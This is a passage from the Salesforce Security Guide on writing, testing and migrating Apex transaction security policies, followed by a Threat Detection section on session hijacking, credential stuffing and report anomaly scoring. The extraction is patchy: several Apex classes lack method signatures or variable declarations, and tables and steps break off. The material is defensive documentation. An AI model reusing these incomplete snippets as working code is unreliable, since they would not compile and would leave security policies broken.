actual tests for the two negative test cases. We take care of them by updating the policy itself. But we explicitly list the use cases in our
plan to make sure that we cover many different situations.
The positive test cases rely on the results of SQQL queries. To ensure that these queries execute correctly, we must also create some test
data. Let's look at the test code.
/**
* Tests for the ProfileIdentityEventCondition class, to make sure that our
* Transaction Security Apex logic handles events and event field values as expected.
**/
@isTest
public class ProfileIdentityEventConditionTest {
/**
* ------------ POSITIVE TEST CASES ------------
** /
/**
* Positive test case 1: Evaluate will return true when user has the "System
* Administrator" profile.
**/
static testMethod void testUserWithSysAdminProfile() {
// insert a User for our test which has the System Admin profile
Profile profile = [SELECT Id FROM Profile WHERE Name='System Administrator'];
assertOnProfile(profile.id, true);
}
/**
293
Salesforce Security Guide Enhanced Transaction Security
* Positive test case 2: Evaluate will return true when the user has the "Custom
* Admin Profile"
**/
static testMethod void testUserWithCustomProfile() {
// insert a User for our test which has the System Admin profile
Profile profile = [SELECT Id FROM Profile WHERE Name='Custom Admin Profile'];
assertOnProfile(profile.id, true);
}
/**
* Positive test case 3: Evalueate will return false when user doesn't have
* a profile we're interested in. In this case we'll be using a profile called
* 'Standard User'.
**/
static testMethod void testUserWithSomeProfile() {
// insert a User for our test which has the System Admin profile
Profile profile = [SELECT Id FROM Profile WHERE Name='Standard User'];
assertOnProfile(profile.id, false);
}
/**
* Helper to assert on different profiles.
**/
static void assertOnProfile(String profileId, boolean expected){
User user = createUserWithProfile(profileId);
insert user;
/**
* Helper to create a user with the given profileId.
**/
static User createUserWithProfile(String profileId){
// Usernames have to be unique.
String username = '[email protected]';
294
Salesforce Security Guide Enhanced Transaction Security
Let’s handle the two negative test cases by updating the transaction security policy code to check for exceptions or null results when
querying the Profile object.
global class ProfileIdentityEventCondition implements TxnSecurity.EventCondition {
if (profile == null){
return false;
}
// check if the name of the Profile is one of the ones we want to monitor
if (PROFILES_TO_MONITOR.contains(profile.Name)) {
return true;
}
return false;
} catch(Exception ex){
System.debug('Exception: ' + ex);
return false;
}
}
}
Best Practices for Writing and Maintaining Enhanced Transaction Security Policies
Transaction security policy management isn’t always easy, especially when you have many policies.
EDITIONS
To make sure that your policies remain functional, write and maintain them using these best
practices. Well-structured and tested policies keep your employees and customers connected, Available in: Salesforce
productive, and secure. Classic and Lightning
Experience
Writing Policies Available in: Enterprise,
Use these general guidelines as you write your policies. Unlimited, and Developer
Editions
Know your users
Do your users use features that work best with certain browsers? Do they rely on mobile devices Requires Salesforce Shield
or Salesforce Event
in the field? Have features that your users regularly access changed? Think about what your
Monitoring add-on
users experience during their day-to-day work, and write your policies with those behaviors in
subscriptions.
mind. Remember: Policies prevent activities that are genuinely out of bounds, and they must
not prevent users from completing core job tasks.
295
Salesforce Security Guide Enhanced Transaction Security
Testing Policies
Testing policies is the best way to make sure that you’re crafting the right solution for your organization and your users.
• Try out your policies in a sandbox. Then deploy your security policy in a production org when you’re certain your policy works.
• If you make far-reaching changes in your org, retest your policies to make sure that they are compatible with the changes you made.
For example, if you create a workflow for field employees that generates a report, check all report event policies that could be affected.
• If your policy is Apex-based, follow Apex testing best practices.
• Run data silo tests. These tests run faster, produce easy-to-diagnose failures, and are more reliable.
Troubleshooting
Something is wrong with my policy. Where do I start?
Use the error message that your policy creates as a starting point. Check the Apex Developer Guide for advice on the error category.
My policy shuts down before it executes.
Policies don’t execute if they take too long to perform all their actions. Streamline your policy, and make sure that it’s within the
metering limit.
I have multiple policies for the same event. What do I do?
In general, make only as many policies as you can manage and maintain. There’s no limit on the number of policies you can create,
but not all policies trigger. Policies are prioritized, and trigger in this order: block the operation, require multi-factor authentication,
no action. If you have multiple policies for the same event, not all of those policies trigger. For example, let's say you have two policies
for one event, but one policy blocks the operation and the second is set to require multi-factor authentication. The policy that blocks
the user executes first and if it triggers, the other policy doesn’t execute.
296
Salesforce Security Guide Enhanced Transaction Security
297
Salesforce Security Guide Enhanced Transaction Security
For example, let’s say you create a ReportEvent policy with the condition "QueriedEntities equals Lead." You then run a custom report
type in your org that contains Lead objects. You expect the policy to trigger, but it doesn’t. Try these steps to find the problem.
1. Enable storage for ReportEvent in Event Manager to view a history of the ReportEvents in your org.
2. Run your custom report type again so that a ReportEvent entry is stored.
3. From an API client, such as Workbench, query your ReportEvent event objects and find the entry that corresponds to this recent run
of the custom report type.
4. Check the value of the QueriedEntities field. Is it what you expect? If it isn’t, change your condition. For example, if your
custom report type is on more than just leads, the value of QueriedEntities is something like Lead, Campaign,
MyCustomObject__c. In this case, change your policy condition to be "QueriedEntities contains Lead."
/**
* Test Case 1: If an ApiEvent has Lead as a queried entity and more than 2000 rows
* processed, then the evaluate method of our policy's Apex should return true.
**/
static testMethod void testApiEventPositiveTestCase() {
// set up our event and its field values
ApiEvent testEvent = new ApiEvent();
testEvent.QueriedEntities = 'Account, Lead';
testEvent.RowsProcessed = 2001;
298
Salesforce Security Guide Enhanced Transaction Security
Let’s update the Apex code for the enhanced Lead Data Export policy that currently has the unfortunate Laed typo with some
System.debug() statements.
Rerun the Apex test from the Developer Console, and view the debug logs that your Apex code generated. This example shows that
the QueriedEntities field of the recent event doesn’t contain a Lead. The highlighted debug log pinpoints the condition that
didn’t evaluate correctly. Now it’s easy to examine your Apex code and find the typo.
If you want to see the debug output when a policy runs in a production environment, add a User Trace flag for the Automated User. The
Automated User executes transaction security policies.
299
Salesforce Security Guide Enhanced Transaction Security
SEE ALSO:
Manage Real-Time Event Monitoring Events
Execute Apex Tests
Apex Developer Guide: Debug Log
View Debug Logs
Set Up Debug Logging
300
Salesforce Security Guide Enhanced Transaction Security
Support Differences Between the Legacy and Enhanced Transaction Security Frameworks
Some features of the legacy framework aren’t supported in the enhanced framework.
• With the legacy framework, you can define an end-session action on a policy. This action isn’t available in the enhanced framework.
Instead, use a login flow to restrict the number of simultaneous Salesforce sessions per user.
• Legacy policies support Chatter actions, such as posts, messages, and comments. These actions aren’t available in the enhanced
framework. Check out the Experience Cloud site moderation rule feature to see whether it covers your use case.
301
Salesforce Security Guide Enhanced Transaction Security
IN THIS SECTION:
Choose an Event for the Enhanced Policy
The enhanced transaction security framework supports different events than the legacy framework.
Choose Event Fields for the Enhanced Policy Conditions
You map the legacy event properties to event object fields in the enhanced transaction security framework.
Create a Policy with a UI or with Apex Code
In the legacy framework, the only way to create a policy was to code an Apex class. In the enhanced framework, you have two
options: use Condition Builder, a point-and-click tool, or Apex. Here are some guidelines to help you decide which option is best for
you.
Differences Between the Legacy and Enhanced Apex Interfaces
In a legacy transaction security policy, your Apex class implements the TxnSecurity.PolicyCondition interface. In the
enhanced framework, your Apex class implements the TxnSecurity.EventCondition interface.
Policy Migration Examples
Use these Condition Builder and Apex examples to help you migrate your legacy policies to the enhanced framework. Migrating
involves creating a new enhanced policy that mimics the behavior of your legacy policy.
SEE ALSO:
Salesforce Security Guide: Limit the Number of Concurrent Sessions with Login Flows
Experience Cloud Site Moderation Rules
Login LoginEvent
Entity No equivalent.
302
Salesforce Security Guide Enhanced Transaction Security
Warning: In the legacy framework, report operations are split between two event types: Data Export monitors report exports,
and Resource Access monitors report views. In the enhanced framework, ReportEvent monitors both report exports and report
views. As a result, enhanced policies that you create on ReportEvent execute during both report exports and report views. If you
want to monitor only one type of report operation, such as report exports, add a condition on the ReportEvent.Operation
field.
SEE ALSO:
Platform Events Developer Guide: Real-Time Event Monitoring Objects
303
Salesforce Security Guide Enhanced Transaction Security
Legacy Event Class Property Equivalent Event Object Field in the Notes
Enhanced Framework
event objects that support transaction
security policies.
304
Salesforce Security Guide Enhanced Transaction Security
Legacy Event Class Property Equivalent Event Object Field in the Notes
Enhanced Framework
legacy event type to their equivalent event
object fields in the enhanced framework.
Table 8: Mapping of Legacy Data Export Data Key to ReportEvent or ApiEvent Field
Legacy Data Key Name Equivalent ReportEvent Equivalent ApiEvent Field Notes
Field
ApiType No equivalent ApiType
305
Salesforce Security Guide Enhanced Transaction Security
Legacy Data Key Name Equivalent ReportEvent Equivalent ApiEvent Field Notes
Field
Platform No equivalent Platform
ResourceName No equivalent
SessionLevel SessionLevel
SourceIp SourceIp
Username Username
306
Salesforce Security Guide Enhanced Transaction Security
Here’s the Apex code for an enhanced policy that uses fields directly from LoginEvent.
global class SourceIpEventCondition implements TxnSecurity.EventCondition {
public boolean evaluate(SObject event) {
LoginEvent loginEvent = (LoginEvent) event;
if (loginEvent.SourceIp.equals('1.1.1.1')) {
return true;
}
return false;
}
}
Username Username
// Trigger the policy only for an export on leads, where we are downloading
// more than 2000 records or it took more than 1 second (1000ms).
if ('Lead'.equals(entityName)){
if (numberOfRecords > 2000 || executionTimeMillis > 1000){
return true;
}
}
This table lists the equivalent fields in the enhanced policies that you use for adding conditions.
307
Salesforce Security Guide Enhanced Transaction Security
Legacy Data Key Name Equivalent ReportEvent Field Equivalent ApiEvent Field
EntityName QueriedEntities QueriedEntities
Because the enhanced framework doesn’t monitor report execution times, you can’t add a condition for that value in your enhanced
ReportEvent policy.
ReportEvent monitors both export and view operations. As a result, a policy based on ReportEvent executes whenever a user exports a
report and also views a report. The legacy Data Export event type monitors only report exports. You can limit what a ReportEvent policy
monitors by adding a condition on the ReportEvent.Operation field.
SEE ALSO:
Platform Events Developer Guide: Real-Time Event Monitoring Objects
Apex Developer Guide: TxnSecurity.Event Class
Apex Developer Guide: UserInfo Class
308
Salesforce Security Guide Enhanced Transaction Security
to create an enhance policy, is a good choice for our example. But if you prefer to use Apex, we also provide the code in the examples
section.
SEE ALSO:
Conditions Exposed in the Condition Builder UI
Apex Developer Guide: TxnSecurity.EventCondition Interface
Apex Developer Guide: TxnSecurity.PolicyCondition Interface
Did you notice that the previous code snippet uses contains? If the API event queries multiple objects, the QueriedEntities
field contains a comma-separated list of the object names, so using equals could miss some events. This behavior applies to any
Real-Time Event Monitoring event object that has the QueriedEntities field.
The previous example shows another benefit of the TxnSecurity.EventCondition interface: You can track user activity on
any Salesforce object, not just the five objects supported in the legacy framework (Lead, Contact, Opportunity, Account, and Contact).
But this feature has an important consequence. Enhanced policies execute more often than legacy ones. This behavior results from
Salesforce evaluating all enhanced policies on all report operations and API queries.
Let’s briefly go over how the legacy interface works to highlight the benefits of the enhanced interface. In the legacy framework , the
data type of the event parameter of PolicyCondition.evaluate(event) is TxnSecurity.Event, a specialized
class that contains information about the event using properties. All the property values are Strings, even if the value is numerical or
Boolean. Much of the event information is contained in the data property, which is a Map<String,String> type populated
with name-value pairs at run time. The run-time contents of this Map depends on the type of event that is being evaluated. As a result,
the content isn’t standard, and you don’t know its structure when you code the class. For all these reasons, the Apex code to get the
event data tends to be messy and convoluted.
309
Salesforce Security Guide Enhanced Transaction Security
• The Real-Time Event Monitoring event objects data model is consistent. As a result, you can write more generic Apex that applies
to multiple event types. For example, let’s say Salesforce adds an event type, and you want to include it in your existing security
policy. In the enhanced framework, you likely need to add only a few extra lines to your Apex code. In the legacy framework, you
have to write a new Apex class.
SEE ALSO:
Platform Events Developer Guide: Real-Time Event Monitoring Objects
Apex Developer Guide: TxnSecurity.EventCondition Interface
Apex Developer Guide: TxnSecurity.PolicyCondition Interface
Apex Developer Guide: TxnSecurity.Event Class
310
Salesforce Security Guide Enhanced Transaction Security
To mimic the legacy behavior in the new enhanced policy, we start by choosing LoginEvent, the event object that monitors logins. The
legacy policy gets the user’s source IP by executing a SOQL query that selects the SourceIP field from the LoginHistory object. We
could code a similar query in the enhanced policy, but let’s do something better: Directly use the SourceIP field of LoginEvent. More
good news: You can use Condition Builder.
On the Condition Builder page where you specify the conditions, for Event, select Login Event. Then add a condition where Source IP
equals 1.1.1.1. The Condition Builder page to specify actions and enable the policy is the same as the legacy UI.
Tip: Test your new enhanced policy before you enable it. When you’re ready to enable your new policy, disable existing policies
on the same event type.
311
Salesforce Security Guide Enhanced Transaction Security
If you prefer to use Apex, here’s the code for the enhanced policy.
global class SourceIpEventCondition implements TxnSecurity.EventCondition {
public boolean evaluate(SObject event) {
LoginEvent loginEvent = (LoginEvent) event;
if (loginEvent.SourceIp.equals('1.1.1.1')) {
return true;
}
return false;
}
}
In the Apex class, you implement the TxnSecurity.EventCondition interface. The evaluate() method takes a generic
sObject parameter, but we guarantee it’s always one of the Real-Time Event Monitoring event objects. Cast the sObject to the appropriate
event object, in this case, LoginEvent. Then use its SourceIp field to determine the IP address of the user logging in. The rest of the
code is similar to the legacy policy code.
SEE ALSO:
Build a Transaction Security Policy with Condition Builder
Apex Developer Guide: TxnSecurity.EventCondition Interface
Apex Developer Guide: TxnSecurity.PolicyCondition Interface
Apex Developer Guide: Classes and Casting
312
Salesforce Security Guide Enhanced Transaction Security
// Trigger the policy only for an export on leads, where we are downloading
// more than 2000 records or it took more than 1 second (1000ms).
if ('Lead'.equals(entityName)){
if (numberOfRecords > 2000 || executionTimeMillis > 1000){
return true;
}
}
Start with creating the ReportEvent policy with Condition Builder. On the page where you specify the conditions, for Event, select Report
Event. Then add these two conditions:
• QueriedEntities Equals Lead
• RowsProcessed Greater than 2000
313
Salesforce Security Guide Enhanced Transaction Security
On the actions page, specify the same actions as in your legacy policy.
The steps to create the ApiEvent policy are similar, except we use condition logic. Remember that the legacy policy monitors lead exports
when either the rows processed are greater than 2,000 or the elapsed time is greater than 1,000. Here's how to implement this logic in
Condition Builder.
314
Salesforce Security Guide Enhanced Transaction Security
You’re done!
And here’s the Apex code for the ApiEvent enhanced policy.
global class LeadExportApiEventCondition implements TxnSecurity.EventCondition {
if ('Lead'.equals(queriedEntities)){
if (rowsProcessed > 2000 || elapsedTime > 1000) {
return true;
}
}
return false;
}
}
The preceding example shows how elegant and natural the Apex code for enhanced policies is. For example, here’s the legacy way to
get the number of rows processed.
Integer numberOfRecords = Integer.valueOf(e.data.get('NumberOfRecords'));
315
Salesforce Security Guide Enhanced Transaction Security
Here’s the enhanced policy code in which you can get the required values directly from the event object without typecasting the field
values.
Decimal rowsProcessed = apiEvent.RowsProcessed;
Much better and easier to read! For completeness, here’s the Apex code for the ReportEvent policy.
global class LeadExportReportEventCondition implements TxnSecurity.EventCondition {
if ('Lead'.equals(queriedEntities)) {
if (rowsProcessed > 2000) {
return true;
}
}
return false;
}
}
Note: You can’t use Condition Builder in this example because it doesn’t support creating a single policy on multiple events
objects.
Here’s an example of the "consolidated" Apex class.
global class LeadExportEventCondition implements TxnSecurity.EventCondition {
public boolean evaluate(SObject event) {
switch on event{
when ApiEvent apiEvent {
return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);
}
when ReportEvent reportEvent {
return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);
}
when null {
return false;
}
when else{
return false;
}
}
}
316
Salesforce Security Guide Enhanced Transaction Security
The preceding example shows how the Apex code for a policy that handles multiple event objects uses implicit typecasting, branching
logic, and event error cases with the switch statement. Also, it’s easy to update this code to handle a new event object or use case.
Expand the Lead Data Export Example with New Use Cases
Let’s say that you’ve created a custom report type in your org that’s based on leads and other objects, such as campaigns. You want to
enforce your enhanced policy on this report type, too. In this case, the QueriedEntities field contains a comma-separated list of
the objects that the custom report type is based on, such as Lead,Campaign,MyOtherObject. To ensure that the enhanced
policy triggers on this custom report type, use the contains() method to check for Lead in the QueriedEntities value
rather than equals(). For example:
global class LeadExportEventCondition implements TxnSecurity.EventCondition {
public boolean evaluate(SObject event) {
switch on event{
when ApiEvent apiEvent {
return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);
}
when ReportEvent reportEvent {
return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);
}
when null {
return false;
}
when else {
return false;
}
}
}
Next, imagine that you have a custom object HRCase__c that you want to monitor in addition to leads. Add a condition on the
QueriedEntities field. For example:
317
Salesforce Security Guide Enhanced Transaction Security
So far we’ve used the ApiEvent and ReportEvent event objects to monitor API queries and report operations. But users can also use list
views to view or export org data. Sounds like a job for the ListViewEvent event object! To update the Apex code, add a switch case.
Note: Monitoring list views is a feature of the enhanced transaction policy framework that doesn’t exist in the legacy framework.
}
when null {
return false;
}
when else {
return false;
}
}
}
318
Salesforce Security Guide Enhanced Transaction Security
}
return false;
}
SEE ALSO:
Apex Developer Guide: TxnSecurity.EventCondition Interface
Apex Developer Guide: Switch Statements
The export limits are stored in a custom metadata type called TransactionSecurityLimit__mdt which Available in: Enterprise,
contains these two fields: Unlimited, and Developer
Editions
• Object_Type__c (Picklist)—The object type
• Limit_Value__c (Number(18,0))—The maximum number of records of this object type Requires Salesforce Shield
or Salesforce Event
that a user is allowed to export
Monitoring add-on
The legacy policy queries this custom metadata type to dynamically determine the export limit subscriptions.
value for each object type.
/**
* Get the export limit for the given object type. If no such limit exists,
* or an exception occurs while trying to look up the limit, the default limit
* of 2000 records is returned.
319
Salesforce Security Guide Enhanced Transaction Security
**/
private Integer getLimitValue(String entityName) {
try {
limits = [SELECT Limit_Value__c FROM Transaction_Security_Limit__mdt WHERE
Object_Type__c = :entityName];
} catch (Exception ex) {
// unable to determine the limit, log and return the default
System.debug('Error getting limit value\n: ' + ex.getMessage());
return DEFAULT_LIMIT;
}
if (limits.size() == 0) {
// no limit found, return the default
return DEFAULT_LIMIT;
}
return (Integer)(limits[0].Limit_Value__c);
}
}
In the enhanced policy, we can reuse most of the logic that queries the TransactionSecurityLimit__mdt custom metadata type. The
main difference is the code for getting the name of the entities for which we want to query the export limit. In the legacy policy, we use
the EntityName key value of the data Map. Its equivalent in the enhanced framework is QueriedEntities. But remember
that the QueriedEntities field can contain more than one entity name, because the enhanced framework supports exports on
all standard and custom objects. So we take the comma-separated list of queried entities and split it up into a List of entity names.
global class DynamicExportEventCondition implements TxnSecurity.EventCondition {
}
when null {
return false;
}
when else {
return false;
}
}
}
320
Salesforce Security Guide Enhanced Transaction Security
/**
* Get the export limit for the given object type. If no such limit exists,
* or an exception occurs while trying to look up the limit, the default limit
* of 2000 records is returned.
**/
private Integer getLimitValue(String entityName) {
try {
limits = [SELECT Limit_Value__c FROM Transaction_Security_Limit__mdt WHERE
Object_Type__c = :entityName];
} catch (Exception ex) {
// unable to determine the limit, return the default
System.debug('Error getting limit value\n: ' + ex.getMessage());
return DEFAULT_LIMIT;
}
if (limits.size() == 0) {
// no limit found, return the default
return DEFAULT_LIMIT;
}
return (Integer)(limits[0].Limit_Value__c);
}
}
SEE ALSO:
Custom Metadata Types
Apex Developer Guide: TxnSecurity.EventCondition Interface
Apex Developer Guide: TxnSecurity.PolicyCondition Interface
321
Salesforce Security Guide Threat Detection
Threat Detection
Threat Detection uses statistical and machine learning methods to detect threats to your Salesforce
EDITIONS
org.
In particular, Threat Detection indicates: Available in: Salesforce
Classic and Lightning
• If a user session is hijacked.
Experience
• When a user successfully logs in during an identified credential stuffing attack. Credential stuffing
occurs when large-scale automated login requests use stolen user credentials to gain access Available in: Enterprise,
to Salesforce. Unlimited, and Developer
Editions
• Anomalies in a user's report views or exports.
Requires Salesforce Shield
Salesforce surfaces the data about these detected threats using Real-Time Event Monitoring events. or Salesforce Event
For example, anomalies in report generation are streamed to ReportAnomalyEvent and stored in Monitoring add-on
ReportAnomalyEventStore. This document first describes how Salesforce detects these anomalies, subscriptions.
and then how you can view the information in the events and investigate further if necessary.
IN THIS SECTION:
Session Hijacking
Session Hijacking is a customer-focused attack where attackers try to steal information from using a client’s access to a web application.
In our case, this application is Salesforce. When a client successfully authenticates with Salesforce, they receive a session token. The
attacker tries to hijack the client’s session by obtaining their session token.
Credential Stuffing
Credential stuffing is a type of cyber attack that uses stolen account credentials. It’s also known as “password spraying” or “credential
spills”. Attackers obtain large numbers of usernames and passwords through data breaches or other types of cyber attacks. They
then use these credentials to gain unauthorized access to user accounts through large-scale automated login requests against a
web application such as Salesforce.
Report Anomaly
An anomaly is any user activity that is sufficiently different from the historical activity of the same user. We use the metadata in
Salesforce Core application logs about report generation and surrounding activities to build a baseline model of the historical activity.
We then compare any new report generation activity against this baseline to determine if the new activity is sufficiently different to
be called an anomaly. We don't look at the actual data that a user interacts with— we look at how the user interacts with the data.
API Anomaly
An anomaly is any user activity that is sufficiently different from the historical activity of the same user. We use the metadata in
Salesforce Core application logs about API generation and surrounding activities to build a baseline model of the historical activity.
We then compare any new API generation activity against this baseline to determine if the new activity is sufficiently different to be
called an anomaly. We don't look at the actual data that a user interacts with— we look at how the user interacts with the data.
322
Salesforce Security Guide Threat Detection
SEE ALSO:
Platform Events Developer Guide: Real-Time Event Monitoring Objects
Enhanced Transaction Security
How Salesforce Helps Protect You From Insider Threats
How Salesforce Helps Protect You From Credential Stuffers
Session Hijacking
Session Hijacking is a customer-focused attack where attackers try to steal information from using
EDITIONS
a client’s access to a web application. In our case, this application is Salesforce. When a client
successfully authenticates with Salesforce, they receive a session token. The attacker tries to hijack Available in: Salesforce
the client’s session by obtaining their session token. Classic and Lightning
The Real-Time Event Monitoring object SessionHijackingEvent addresses the “Man In The Browser” Experience
attack (MiTB), a type of session hijacking attack. In a MiTB attack, the attacker compromises the
Available in: Enterprise,
client’s web application by first planting a virus like a Trojan proxy. The virus then embeds itself in Unlimited, and Developer
the client’s browser. And when the client accesses a web application such as Salesforce, the virus Editions
manipulates pages, collects sensitive information shared between client and Salesforce, and steals
Requires Salesforce Shield
information. These types of attacks are difficult for the client to detect.
or Salesforce Event
Fortunately, Salesforce is ahead in this race with the bad guys and has mechanisms in place to Monitoring add-on
detect MiTB attacks. When detected, Salesforce kills the session and any child sessions, logs out the subscriptions.
user, and asks for multi-factor authentication. With this action, Salesforce helps prevent the attacker
from performing any subsequent malicious activity with that user’s session. This autonomous
enforcement makes session hijacking costly for attackers and results in safer sessions for Salesforce customers.
All Salesforce customers get this threat mitigation. Event monitoring customers get granular visibility into these attacks. These customers
can collect useful information about the attacks in real time and send notifications to other users in Salesforce.
Note: While Salesforce uses browser fingerprinting to identify a device, it doesn’t use it to track a user. Salesforce uses the data
only to detect suspicious behavior.
IN THIS SECTION:
Features of the Browser Fingerprint
A browser fingerprint is a collection of features that together identify a device. Salesforce uses these features to build a model of the
user’s original browser fingerprint when they logged in. Salesforce uses this model to detect whether a user’s session was hijacked.
323
Salesforce Security Guide Threat Detection
SEE ALSO:
Open Web Application Security Project: Session Hijacking Attack
plugins JavaScript attribute that lists the activated browser plugins. Chrome PDF
Plugin:Portable
Document
FormatChrome
PDF Viewer
324
Salesforce Security Guide Threat Detection
localStorage Whether local storage is used, extending beyond the duration of the session. false
Important: If the SessionHijackingEvent object contains a record, an attack occurred in Requires Salesforce Shield
or Salesforce Event
the past and Salesforce security has already taken care of the security issue. You don’t do
Monitoring add-on
anything other than investigate the attack for your own purposes.
subscriptions.
• LoginEventStream (and its storage equivalent LoginEvent) tracks all login activity in your org.
For example, say that your org receives a SessionHijackingEvent. The first thing you do is look at
relevant fields of the event to get basic information about the attack, such as:
• Score: A number from 6.0 to 21.0 that indicates how significant the new browser fingerprint deviates from the previous one. The
higher the number, the more likely a session hijacking attack occurred.
• UserId: The user’s unique ID. Use this ID to query LoginEvent for more login information.
• EventDate: When this attack occurred.
• SecurityEventData: JSON field that contains the current and previous values of the browser fingerprint features that contributed
the most to this anomaly detection. See this table for the full list of possible features.
• Summary: A text summary of the event.
• Current-Previous field pairs: These field pairs provide quick access to current and previous values for selected browser
fingerprint features.
– CurrentIp and PreviousIp: The current and previous IP address.
– CurrentPlatform and PreviousPlatform: The current and previous operating system, such as Win32, MacIntel, or
iPad.
– CurrentScreen and PreviousScreen: The current and previous screen size in pixels, such as (900.0,1440.0).
325
Salesforce Security Guide Threat Detection
– CurrentUserAgent and PreviousUserAgent: The current and previous value of your browser’s user agent which
identifies the type of browser, version, operating system, and more. For example, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
– CurrentWindow and PreviousWindow: The current and previous window size in pixels, such as (1200.0,1920.0).
Let’s look at the SecurityEventData field a bit more closely because it contains the browser fingerprints that triggered this
anomaly detection. Here’s sample data:
[
{
"featureName": "userAgent",
"featureContribution": "0.45 %",
"previousValue": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/75.0.3770.142",
"currentValue": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/76.0.3809.100 Safari/537.36."
},
{
"featureName": "ipAddress",
"featureContribution": "0.23 %",
"previousValue": "201.17.237.77",
"currentValue": "182.64.210.144"
},
{
"featureName": "platform",
"featureContribution": "0.23 %",
"previousValue": "Win32",
"currentValue": "MacIntel"
},
{
"featureName": "screen",
"featureContribution": "0.23 %",
"previousValue":"(1050.0,1680.0)",
"currentValue": "(864.0,1536.0)"
},
{
"featureName": "window",
"featureContribution": "0.17 %",
"previousValue": "1363x1717",
"currentValue": "800x1200"
}
]
The sample JSON shows that many browser fingerprint features changed, including window, IP address, platform, and more. Salesforce
concludes the user session was hijacked.
SEE ALSO:
Platform Events Developer Guide: SessionHijackingEvent
326
Salesforce Security Guide Threat Detection
Credential Stuffing
Credential stuffing is a type of cyber attack that uses stolen account credentials. It’s also known as
EDITIONS
“password spraying” or “credential spills”. Attackers obtain large numbers of usernames and
passwords through data breaches or other types of cyber attacks. They then use these credentials Available in: Salesforce
to gain unauthorized access to user accounts through large-scale automated login requests against Classic and Lightning
a web application such as Salesforce. Experience
Salesforce identifies a credential stuffing attack using a two-step process. First, it detects if a credential
Available in: Enterprise,
stuffing attack is taking place by analyzing the login traffic. In particular, we look for attackers who Unlimited, and Developer
stuff multiple credentials in the same end-point or stuff the same user accounts by enumerating Editions
multiple passwords. Next we check the ratio of successful versus failed login traffic volume. If the
Requires Salesforce Shield
volume exceeds a certain threshold, we use more fingerprint details to identify the affected user’s
or Salesforce Event
profile.
Monitoring add-on
When we detect a successful login from an endpoint that exhibits credential stuffing behavior, we subscriptions.
pose an identity challenge to the affected user. If the user successfully completes that challenge,
they are required to change their password before accessing Salesforce again.
All Salesforce customers get this threat mitigation. However, Event Monitoring customers can get granular visibility into these attacks
using the CredentialStuffingEvent object. These customers can then collect useful information related to these events in real time and
send notifications to other users in Salesforce.
IN THIS SECTION:
Investigate Credential Stuffing
Here are some tips for investigating a credential stuffing attack.
327
Salesforce Security Guide Threat Detection
You can use this type of query to identify the users in your org that were affected by the credential stuffing attack. These users reused
their org password in other web sites or their password follows a common pattern and is not strong enough. Educate your users on how
they can create and manage strong passwords to protect your org.
Also consider improving your security with password protection. You can set password history, length, and complexity requirements.
You can also specify what to do when a user forgets the password. Another best practice is to set up multi-factor authentication (MFA).
Finally, investigate enabling Lightning Login for password-free logins.
SEE ALSO:
Salesforce Help: Enable Lightning Login for Password-Free Logins
Trailhead: Educate Your Users to Help Protect Your Org
Salesforce Security Guide: Set Password Policies
Platform Events Developer Guide: CredentialStuffingEvent
Report Anomaly
An anomaly is any user activity that is sufficiently different from the historical activity of the same
EDITIONS
user. We use the metadata in Salesforce Core application logs about report generation and
surrounding activities to build a baseline model of the historical activity. We then compare any new Available in: Salesforce
report generation activity against this baseline to determine if the new activity is sufficiently different Classic and Lightning
to be called an anomaly. We don't look at the actual data that a user interacts with— we look at Experience
how the user interacts with the data.
Available in: Enterprise,
Unlimited, and Developer
IN THIS SECTION: Editions
Training and Inference Steps Requires Salesforce Shield
Similar to other machine learning or statistical models, our detection model has a familiar or Salesforce Event
two-step process: a training step and an inference or detection step. As a customer, you don't Monitoring add-on
perform either of these steps—Salesforce performs them for you. You only review the detection subscriptions.
events generated by our detection mode and take further action if necessary.
Investigate Report Anomalies
It's often necessary to further investigate a report anomaly to either rule it out as benign or to determine if a data breach occurred.
Best Practices for Investigating Report Anomalies
Keep these tips and best practices in mind when you investigate unusual user behavior. They can help you find the information you
require to make a well informed conclusion about your data’s safety.
Report Anomaly Detection Examples
Here are several examples that illustrate how you can investigate anomalous report events thoroughly.
328
Salesforce Security Guide Threat Detection
averageRowSize The average row size (in bytes) of all rows in the 700
report generation. A large average size and a
high rowCount can indicate that a user is
downloading information for fraudulent
purposes. For example, a salesperson who
downloads all sales leads before departing for
a competitor.
329
Salesforce Security Guide Threat Detection
periodOfDay The period during the day when the report was run. The value is Afternoon
derived from the timestamp and the local timezone as reported
by the browser used to generate the report.
dayOfWeek The day of the week when the report was run. The value is derived Saturday
from the timestamp and the local timezone, as reported by the
browser used to generate the report.
userAgent The user agent recorded during the report generation activity. Mozilla/5.0(iPad;
U; CPU iPhone
OS 3_2 like
Mac OS X;
en-us)
AppleWebKit/531.21.10
(KHTML, like
Gecko)
Version/4.0.4
Mobile/7B314
Safari/531.21.10
platform The platform type as reported by the browser used to generate MacIntel
the report.
timezoneOffset The timezone offset, in minutes from GMT, as reported by the -180
browser used to generate the report.
windowSize The window size, in pixels, of the browser used to generate the 750x340
report.
screenResolution The screen resolution, in pixels, as reported by the browser used 1024x768
to generate the report.
colorDepth The color depth as reported by the browser used to generate the 32-32
report.
acceptedLanguages The list of languages as reported by the browser used to generate ["en-US"]
the report.
browserFonts The identifier derived from the fonts as reported by the browser -
used to generate the report.
browserCodecs The identifier derived from the codecs as reported by the browser -
used to generate the report.
browserPlugins The list of plugins as reported by the browser used to generate the Chrome PDF
report. Plugin:Portable
330
Salesforce Security Guide Threat Detection
loginToReportGeneration The elapsed time, in milliseconds, between when the user logged 10000
in and when they generated the report.
Anomaly Score
We assign a numerical anomaly score to every report generation activity based on how different the activity is compared to the user’s
typical activity. The anomaly score is always a number from 0 through 100, and is often expressed as a percentage. A low anomaly score
indicates that the user's report generation activity is similar to the user's typical activity. A high anomaly score indicates that the user's
report generation activity is different from the user's typical activity.
Critical Threshold
Every report generation event is assigned an anomaly score, but not all generation events are anomalies. We use a threshold to determine
which of the report generation events are anomalies. Any event with an anomaly score above the critical threshold is considered an
anomaly.
